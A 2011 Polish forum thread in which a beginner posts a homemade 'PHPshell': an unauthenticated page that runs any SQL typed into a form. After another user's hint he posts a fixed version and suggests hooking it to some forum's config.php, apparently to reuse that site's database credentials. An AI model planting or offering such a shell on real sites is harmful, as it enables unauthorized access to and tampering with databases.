PHPShell

**rescious** · 10-03-2011

Witam napisałem własnego PHPshella który wykonuje polecenia SQL (shell.php):

Kod:

<?
echo ('<html>');
echo ('<body>');
echo ('<title>PHPshell by robercik101 :)</title>');
echo ('</body>');
echo ('<font size=15>Wpisz zapytanie SQL:</font>');
echo ('<p>');
echo ('<form action=shell.php method=POST>');
echo ('<textarea name=query rows=20 cols=20></textarea>');
echo ('<p>');
echo ('<input type=submit value=Wykonaj>');
echo ('<input type=reset value=Kasuj>');
$ZAPYTANIE=$_POST['query'];
$SQL=mysql_connect('serwer', 'login', 'hasło'); 
$WYNIK=mysql_query($ZAPYTANIE);
echo('<p>');
echo $WYNIK;
?>

Ale jak wpisuje jakieś polecenie to nie działa,tylko odświeża się i nic nie pisze. Gdzie popełniłem błąd

Od razu zaznaczam że robercik101 to ja

**TQM** · 10-03-2011

lepiej zobacz do manuala php co bedzie w $WYNIK... to sa podstawy!

**rescious** · 10-04-2011

OK już wiem
Sorry dopiero co zaczynam naukę PHP

Nie powinienem się raczej za to zabierać :/
EDIT:
Chyba już wiem

Daje poprawiony kod

Kod:

<?
echo ("<html>
<body>
<title>PHPshell by robercik101 :)</title>
</body>
<font size=15>Wpisz zapytanie SQL:</font>
<p>
<form action=shell.php method=POST>
<textarea name=query rows=20 cols=20></textarea>
<p>
<input type=submit value=Wykonaj>
<input type=reset value=Kasuj>");
$ZAPYTANIE=$_POST['query'];
$SQL=mysql_connect('serwer', 'login', 'hasło'); 
mysql_select_db('nazwa_bazy_danych');
$WYNIK=mysql_query($ZAPYTANIE);
$ROW=mysql_fetch_array($WYNIK,MYSQL_ASSOC);
foreach($ROW as $A => $B){
echo "$A:$B";
echo('<p>');
}
?>

Najlepiej byłoby połączyć to z config.php jakiegoś forum
EDIT:
Działa

Temat: PHPShell

Narzędzia wątku

Display

PHPShell

Tagi

Zasady Postowania

Subskrybuj